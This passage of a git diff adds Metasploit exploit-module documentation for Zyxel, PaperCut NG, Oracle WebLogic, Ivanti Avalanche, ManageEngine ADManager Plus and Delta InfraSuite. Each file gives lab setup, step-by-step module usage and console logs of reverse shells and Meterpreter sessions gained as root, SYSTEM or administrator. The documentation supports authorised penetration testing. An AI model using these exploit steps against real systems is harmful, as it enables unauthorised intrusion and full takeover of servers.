----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME luAxlQjv no Name to use on remote system when storing payload; cannot contain spaces. + FETCH_SRVHOST 192.168.86.42 yes Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check +[*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown. +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.40:48310) at 2023-06-09 09:24:32 +0100 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.40 +OS : (Linux 3.10.87-rt80-Cavium-Octeon) +Architecture : mips64 +BuildTuple : mips64-linux-muslsf +Meterpreter : mips64/linux +meterpreter > cat /zyinit/fwversion +KERNEL_VERSION=3.10.87 +FIRMWARE_VER=5.20(ABUH.0)520-r102903-k3 +CAPWAP_VER=1.00.04 +COMPATIBLE_PRODUCT_MODEL_0=E15D +COMPATIBLE_PRODUCT_MODEL_1=FFFF +COMPATIBLE_PRODUCT_MODEL_2=FFFF +COMPATIBLE_PRODUCT_MODEL_3=FFFF +COMPATIBLE_PRODUCT_MODEL_4=FFFF +MODEL_ID=USG FLEX 100 +KERNEL_BUILD_DATE=2022-01-04 16:14:50 +BUILD_DATE=2022-01-04 18:13:20 +FSH_VER=1.0.0 +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.86.40 - Meterpreter session 1 closed. Reason: Died +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +``` diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md new file mode 100644 index 0000000000000..e22974f3f801f --- /dev/null +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -0,0 +1,230 @@ +## Vulnerable Application +### Description +PaperCut NG Authentication Bypass affecting the below versions, see +[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +- version 8.0.0 to 19.2.7 (inclusive) +- version 20.0.0 to 20.1.6 (inclusive) +- version 21.0.0 to 21.2.10 (inclusive) +- version 22.0.0 to 22.0.8 (inclusive) + +See module `info` for additional references. + +### Building a Vulnerable Container +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the +software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). + +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the +application for testing. + +From an empty directory, create a Dockerfile containing the following: +```dockerfile +FROM almalinux +RUN yum install -y procps-ng net-tools cpio sudo perl which +RUN yum install -y initscripts +RUN useradd -ms /bin/bash papercut +RUN usermod -a -G wheel papercut +RUN echo "papercut ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers + +COPY pcng-setup-*.sh / + +USER papercut +WORKDIR /home/papercut +``` + +Download a vulnerable version. Build a container. Run the container while performing the installation. +```sh +curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh" +podman build . --tag papercut-16.4.39159 +podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" +``` +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions +are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit +host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the +container & tag the new image to maintain your configuration changes. In the future the service can be restarted using +`/etc/init.d/papercut start` from within the container. + +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something +to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication +Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the +"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on +the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network +that is currently in use.* + + +## Options + +### TARGETURI + +Path to the papercut application. Default is `/app`. + +### HTTPDELAY + +Number of seconds the web server will wait before termination. Default is 10. + + +## Verification Steps + +1. `./msfconsole -q` +2. `use multi/http/papercut_ng_auth_bypass` +3. `set RHOSTS [target]` +4. `run` + +## Scenarios + +### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/rYrjrI0 +[*] Server started. +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000 +[*] Server stopped. +[*] rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7 +[*] Server started. +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000 +[*] Server stopped. +[*] Rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] Rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8 +[*] Server started. +[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000 +[*] Server stopped. + +meterpreter > +``` + +### Tested on Linux x64 with PaperCut NG Version 16.4.39159 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/GuHN8K +[*] Server started. +[*] Sending payload for requested uri: /GuHN8K.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value. + +### Tested on Linux x64 with PaperCut NG Version 14.3.30457 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/kBXJNp +[*] Server started. +[*] Sending payload for requested uri: /kBXJNp.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable +'SetupCompleted' page. diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md new file mode 100644 index 0000000000000..824a18e9d9ec7 --- /dev/null +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -0,0 +1,120 @@ +## Vulnerable Application + +### Description +Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated +remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes +a `ForeignOpaqueReference` class object, deserializes it on the target, and then post deserialization, calls the +object's `getReferent()` method, which will make use of the `ForeignOpaqueReference` class's `remoteJNDIName` variable, +which is under the attackers control, to do a remote loading of the JNDI address specified by `remoteJNDIName` via +the `lookup()` function. + +This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting +a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to +create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java +code during the instantiation of the object, thereby getting remote code execution as the `oracle` user. + +This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will +then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java +class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, +at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate +an instance of that class, granting us RCE as the `oracle` user. + +This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + +## Verification Steps + +1. Make sure you have Docker and Docker Compose installed. If not follow https://docs.docker.com/engine/install. +2. `git clone git@github.com:vulnhub/vulnhub.git` +3. `cd weblogic/CVE-2023-21839/cmd` +4. `docker-compose up -d` and wait for the build to finish, then a few seconds for startup. +5. Do: `use exploit/multi/iiop/cve_2023_21839_weblogic_rce` +6. Do `set SRVPORT *some high port*` for LDAP server port number since we can't listen on the default port `389` without being `root`. +7. Do `set HTTP_SRVPORT *port*` if you want to change the HTTP server port. +8. Do `set RHOSTS 127.0.0.1` to target the local Docker instance. +9. Do `set SRVHOST *LDAP server IP address*` for LDAP server host. NOTE: Have to provide a routeable IP address, 0.0.0.0 won't work. +10. Do `set LHOST *IP address of Metasploit machine*` +11. Do: `exploit` +12. Verify that you get a shell on the target system as the `oracle` user. + + +## Options + +### HTTP_SRVPORT +The port where the HTTP server will listen. + +### SRVPORT +The port where the LDAP server will listen. + +### SRVHOST +The IP address where where the LDAP server will be listening. + +## Scenarios + +### Oracle Weblogic 12.2.1.3 with Java 1.8.0_151-b12 - Docker Image +``` +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options + +Module options (exploit/multi/iiop/cve_2023_21839_weblogic_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + HTTP_SRVPORT 8089 yes The HTTP server port + LDIF_FILE no Directory LDIF file path + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 7001 yes The target port (TCP) + SRVHOST 192.168.204.149 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 4939 yes The local port to listen on. + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.149 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.149:4444 +[*] 127.0.0.1:7001 - Running automatic check ("set AutoCheck false" to disable) +[+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! +[*] 127.0.0.1:7001 - 1. Making T3 connection... +[+] 127.0.0.1:7001 - Made T3 connection! +[*] 127.0.0.1:7001 - 2. Sending first GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 2 complete! +[*] 127.0.0.1:7001 - 3. Sending rebindAny request! +[+] 127.0.0.1:7001 - Step 3 complete! +[*] 127.0.0.1:7001 - 4. Sending second rebindAny request! +[+] 127.0.0.1:7001 - Step 4 complete! +[*] 127.0.0.1:7001 - 5. Sending second GIOP LocateRequest packet +[+] 127.0.0.1:7001 - Step 5 complete! +[*] 127.0.0.1:7001 - 6. Sending resolve packet #1 with wls_key_1 +[+] 127.0.0.1:7001 - Step 6 complete! +[*] 127.0.0.1:7001 - Serving Java code on: http://192.168.204.149:8089/PayloadRuns.class +[*] 127.0.0.1:7001 - 7. Sending resolve packet #2 with wls_key_2 +[+] 127.0.0.1:7001 - Step 7 complete! +[*] 127.0.0.1:7001 - Sleeping for 8 seconds to allow LDAP and HTTP traffic to go through. +[*] Command shell session 1 opened (192.168.204.149:4444 -> 172.18.0.2:46440) at 2023-05-17 16:48:56 -0500 + +id +uid=1000(oracle) gid=1000(oracle) groups=1000(oracle) +whoami +oracle +uname -a +Linux 8e6d76ecdb0d 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 18 17:40:00 UTC 2 x86_64 x86_64 x86_64 GNU/Linux +pwd +/u01/oracle/user_projects/domains/base_domain +``` diff --git a/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md new file mode 100644 index 0000000000000..862b54bfb2b2f --- /dev/null +++ b/documentation/modules/exploit/windows/http/ivanti_avalanche_filestoreconfig_upload.md @@ -0,0 +1,126 @@ +## Vulnerable Application + +For versions of Ivanti Avalanche below `v6.4.0.186`, an authenticated administrator +can change the default path for the Central FileStore via the Configuration Settings pane. +While the default path is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`, +Ivanti Avalanche restricts the path from being set to folders within the `Windows` and +`Program Files` directories. These restrictions do not account for MS-DOS (8.3) path +names, which can be used to set the Central FileStore path to the web root of the application. +This module leverages this vulnerability to upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`. + +### Installation Instructions + +The software requires a version of MSSQL Server to be installed. The installation +instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that +`SQL Server and Windows Authentication Mode` is selected as the default for +server authentication. This can either be done at installation or via +SQL Server Management Studio, available from https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms. + +1. Open SQL Server Management Studio and connect to the instance +2. Right click on the instance and select `Properties` +3. Click the `Security` page +4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok`. +5. Open SQL Server Configuration Manager -> SQL Server Network Configuration -> Protocols for MSSQLSERVER -> TCP/IP -> Change from Disable to Enabled. +6. SQL Server Configuration Manager -> SQL Server Services -> Stop all Services -> Start just the SQL Server (MSSQLSERVER) service. +7. Go back to SQL Server Management Studio. +8. Security -> Logins -> sa -> Right click -> Select Properties -> Status -> Toggle Login to Enabled -> Ok +9. Execute the following SQL statement in SQL Server Management Studio: `ALTER LOGIN sa WITH PASSWORD = 'theSAUser123';` +10. You should now be able to run the installer and set the hostname to `127.0.0.1`, set the username to `sa`, and the password to `theSAUser123`. +11. Hitting the next button and accept the rest of the defaults. +12. When it comes to setting up the TomCat connectors, be sure to enable the HTTP and HTTPS services and adjust the ports if there are any port conflicts. +13. You should now have a complete install available. + +In case the above doesn't work, instructions for installing Ivanti Avalanche can be found [here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced?language=en_US) + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload` +4. Do: `set USERNAME ` +5. Do: `set PASSWORD ` +6. Do: `set RHOST ` +7. Do: `run` +8. You should get a shell as `NT AUTHORITY\SYSTEM`. + +## Options + +### USERNAME + +An admin user with which to log into the software + +### PASSWORD + +Password belonging to admin user + +## Scenarios + +### Ivanti Avalanche v6.3.4.153 - Windows 10 x64 + +``` +msf6 > use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload +[*] No payload configured, defaulting to generic/shell_reverse_tcp +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set rhost 192.168.140.150 +rhost => 192.168.140.150 +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set lhost 192.168.140.1 +lhost => 192.168.140.1 +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > options + +Module options (exploit/windows/http/ivanti_avalanche_filestoreconfig_upload): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD admin yes Password to log in with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.140.150 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics + /using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /AvalancheWeb yes The URI of the Example Application + USERNAME amcadmin yes User name to log in with + VHOST no HTTP server virtual host + + +Payload options (generic/shell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.140.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run + +[*] Started reverse TCP handler on 192.168.140.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Original FileStore config path: 'C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files' +[*] Changing FileStore config path to 'C:\PROGRA~1\Wavelink\AVALAN~1\Web' +[+] Successfully uploaded 'LWRrxDXWxhbz.jsp' +[*] Attempting to restore config path +[!] Tried to delete webapps/LWRrxDXWxhbz.jsp, unknown result +[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.150:50249) at 2023-05-08 14:27:58 -0500 +[!] Failed to restore the FileStore config path to its original path. Please manually restore FileStore config via Tools -> Central FileStore -> Configurations. + + +Shell Banner: +Microsoft Windows [Version 10.0.19041.630] +----- + + +C:\Program Files\Wavelink\Avalanche\Web>whoami +whoami +nt authority\system + +C:\Program Files\Wavelink\Avalanche\Web> +``` diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md new file mode 100644 index 0000000000000..7ebd300d7316f --- /dev/null +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -0,0 +1,128 @@ +## Vulnerable Application +ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient +validation of user input when performing the `ChangePasswordAction` function before passing it into a string that is later +used as an OS command to execute. + +By making a POST request to `/api/json/admin/saveServerSettings` with a `params` POST +parameter containing a JSON array object that has a `USERNAME` or `PASSWORD` element containing a +carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user +running ADManager Plus, which will typically be the local administrator. + +Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`, +so this vulnerability does require authentication to exploit. + +As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads +with this exploit, since these will use HTTP connections that will be affected by the change in configuration. + +## Verification Steps + +1. Set up a Windows Server target as a domain controller server. +2. Download https://web.archive.org/web/20220926012908if_/https://download.manageengine.com/products/ad-manager/13024552/ManageEngine_ADManager_Plus_64.exe onto the target and run through the setup window, accepting defaults. +3. Start `msfconsole` +4. `set RHOST *target IP*` +5. `set LHOST *local IP address*` +6. `set SRVHOST *local IP address*` <- This step is optional depending on payload. +7. `exploit` +8. You should get a shell back as the local administrator user on the target machine. + +## Options + +### USERNAME +Username to log into ADManager Plus as. + +### PASSWORD +Password to log into ADManager Plus with. + +### DOMAIN +Domain to log into ADManager Plus with or `ADManager Plus Authentication`. + +## Scenarios + +### ManageEngine ADManager Plus Build 7151 on Windows Server 2022 +``` +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > show options + +Module options (exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + DOMAIN ADManager Plus Authentication yes The domain to log into + PASSWORD admin yes The password to log in with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.64.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9090 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + USERNAME admin yes The user to log into ADManager Plus as + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.64.128 yes The listen address (an interface may be specified) + LPORT 8899 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection) > exploit + +[*] Started reverse TCP handler on 192.168.64.128:8899 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is running AdManager Plus build 7151! +[+] The target appears to be vulnerable. Target appears to be running a vulnerable version of AdManager Plus! +[+] Logged in successfully! +[*] Sending stage (175686 bytes) to 192.168.64.149 +[*] Meterpreter session 3 opened (192.168.64.128:8899 -> 192.168.64.149:57276) at 2023-05-25 15:32:08 -0500 +[+] Request timed out. Its likely the payload executed successfully! + +meterpreter > getuid +Server username: DAFOREST\Administrator +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeBackupPrivilege +SeChangeNotifyPrivilege +SeCreateGlobalPrivilege +SeCreatePagefilePrivilege +SeCreateSymbolicLinkPrivilege +SeDebugPrivilege +SeDelegateSessionUserImpersonatePrivilege +SeEnableDelegationPrivilege +SeImpersonatePrivilege +SeIncreaseBasePriorityPrivilege +SeIncreaseQuotaPrivilege +SeIncreaseWorkingSetPrivilege +SeLoadDriverPrivilege +SeMachineAccountPrivilege +SeManageVolumePrivilege +SeProfileSingleProcessPrivilege +SeRemoteShutdownPrivilege +SeRestorePrivilege +SeSecurityPrivilege +SeShutdownPrivilege +SeSystemEnvironmentPrivilege +SeSystemProfilePrivilege +SeSystemtimePrivilege +SeTakeOwnershipPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > +``` diff --git a/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md new file mode 100644 index 0000000000000..b7c97d3e4bb3b --- /dev/null +++ b/documentation/modules/exploit/windows/misc/delta_electronics_infrasuite_deserialization.md @@ -0,0 +1,123 @@ +## Vulnerable Application + +Delta Electronics InfraSuite Device Master versions below `v1.0.5` are vulnerable to +an unauthenticated .NET deserialization vulnerability in the `Device-Gateway-Status` process which +listens on port `10100` and communicates over UDP. Its `ParseUDPPacket()` method reads user-controlled +data and passes what it determines to be the packet header to the `BinaryFormatter.Deserialize()` method without appropriate validation, +resulting in code execution as the user running the `Device-Gateway-Status` process. + +### Installation Instructions + +1. Unzip and run the installer from https://archive.org/details/infra-suite-device-master-00.00.01ax-64 +2. Install all of the pre-requisites (Stack Builder is not needed) and reboot +3. Click `next` and ensure the three features, `Device-Monitor`, `Device-DataCollect`, and `Device-Gateway` are selected to install +4. The password on the next screen should say `Ems3000!`, but it is not needed for the exploit +5. Click `Next`, then `Install` +6. Click `Finish`, then wait for the processing of files to finish +7. Once the previous step is done, ensure `Yes, I want to restart my computer now` is checked and click `Finish` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/windows/misc/delta_electronics_infrasuite_deserialization` +4. Do: `set RHOST ` +5. Do: `set INFRASUITE_PORT ` +6. Do: `run` +7. You should get a meterpreter session. + +## Options + +### INFRASUITE_PORT + +This is the option on which the web-based InfraSuite Device Manager listens. It is +only used to check the version of the software to determine exploitability. 80 by default + +## Scenarios + +### InfraSuite Device Master v01.00.00d on Windows 10 x64 + +``` +msf6 > use exploit/windows/misc/delta_electronics_infrasuite_deserialization +[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set rhost 192.168.140.187 +rhost => 192.168.140.187 +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > set lhost 192.168.140.1 +lhost => 192.168.140.1 +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > options + +Module options (exploit/windows/misc/delta_electronics_infrasuite_deserialization): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + INFRASUITE_PORT 80 yes The port on which the InfraSuite Manager is listening + Proxies no A proxy chain of format type:host:port[,type:host:port] + [...] + RHOSTS 192.168.140.187 yes The target host(s), see https://docs.metasploit.com/doc + s/using-metasploit/basics/using-metasploit.html + RPORT 10100 yes The target port (UDP) + SSL false no Negotiate SSL/TLS for 